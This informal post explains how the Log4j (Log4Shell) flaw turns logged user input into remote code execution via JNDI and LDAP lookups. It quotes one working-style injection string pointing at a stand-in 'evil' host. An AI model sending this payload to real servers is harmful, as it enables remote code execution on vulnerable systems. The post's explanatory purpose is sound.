#serialization and deserialization in java

Scratch that, its a bitch most of the time

So, the way to think about the log4j issue is basically this:

Logging is important! And it's hard. Many logs are useless, but it's important, generally, to know what your application is doing.

Java developers love to be able to configure things using XML files. this is a disease that they have.

One of the things that you'd like to configure is your log framework. In particular, you'd like to be able to include information about e.g. which server is serving the request or some metadata about the type of request that is being served.

Because you're a java developer, and you're using an XML file to configure this, it means that you need to invent your own custom string interpolation and data reference format. But how do you know what specific kinds of information people might want to put in their logs files? Well, because you're a java developer, you solve this by inventing a Generic Way To Reference Any Piece Of Information That Could Possibly Exist.

Including information that might be stored on another server, like a DNS server, or—wait for it—an LDAP directory server.

In fact, you're not really inventing it—you're just doing what everyone else does! Nobody who has ever, ever interacted with JDNI had a positive opinion of it, but that doesn't matter, because it's The Way Things Are Done.

Now, you've invented your own string parsing format. And it allows you to look up Any Possible Information that exists, and put it in your log files. All without writing any code at all! But we still have one puzzle piece left—how do you get from that to remote code execution?

Well, this one isn't necessarily Java's fault. A bunch of languages have gone through serialization vulnerabilities. Python's pickle is a particularly notorious example here, but basically any language with reflection is going to have some Unsafe Deserialization happening at some point. The thing is, LDAP servers are almost always super, super trusted entities on corporate networks, right? If you Have An LDAP Server, it means that it's probably controlling some very fundamental things about who gets to log in to where and what their permissions are, etc.

So I mean, maybe you could see why Java developers thought that a sensible way to communicate with LDAP servers was "The LDAP server gives me a list of classes to instantiate, parameters for those classes, I download the code for those classes from the internet*, and I execute it".

Well. Maybe you can't. But that's what they did. Because really, who was going to talk to an LDAP server that they didn't trust?

But see, Log4J didn't just let you look up Any Possible Information That Exists from your nice and and safe XML configuration files, no.

It didn't make that kind of distinction. Instead, it let you look up Any Information That Existed from any message that got logged.

Remember—the purpose of log files is to record what happens in your application. 99% of the time, this is "What did the user just type in and what did we do about it".

Nobody stopped to consider that the thing the user typed in might be log4j's nice custom string parsing format that Lets You Look Up Any Possible Information That Exists (And Log It). And If they did, nobody stopped to say "Hey, looking up information from any LDAP server that exists on the internet is really dangerous, actually, the way we wrote this code".**

But they should have because now at any point in the last 8 years anybody could have run any code they wanted on any minecraft server just by putting an LDAP server somewhere on the internet and then typing ${jndi:ldap://whatever.my.evil.website/x} into chat.

Or run any code they wanted on Apple's iCloud servers.

Or given themselves any Steam game they wanted***

Or, well, take your pick! Log4j is the most popular logging library in the Java universe (excluding android) and the only thing saving most people**** from being vulnerable to this issue is that they were using an even older version of log4j from a decade ago and never upgraded to the 8-year-old version with all the fancy new features.

yeah.

anyway.

Moral of the story: don't upgrade your libraries, kids.

Hope that clarifies things.

*This excludes some nuances about remote code loading (disabled on newer java versions by default) and local gadgets that aren't very important for this discussion. These details are interesting! but this post is very long already.

** technically a bunch of people did say that last thing it just never got fixed b/c they decided that "connecting to an LDAP server you don't trust" was the vulnerability, not "hey, even if I trust this LDAP server, it's a little weird that it can run whatever code it wants in my JVM, right?"

*** honestly this one is more of a stretch because like, there are lots of different services that touch your search query before Steam does and probably not all of them have the ability to give you a Steam game. But hey, it's within the realm of possibility.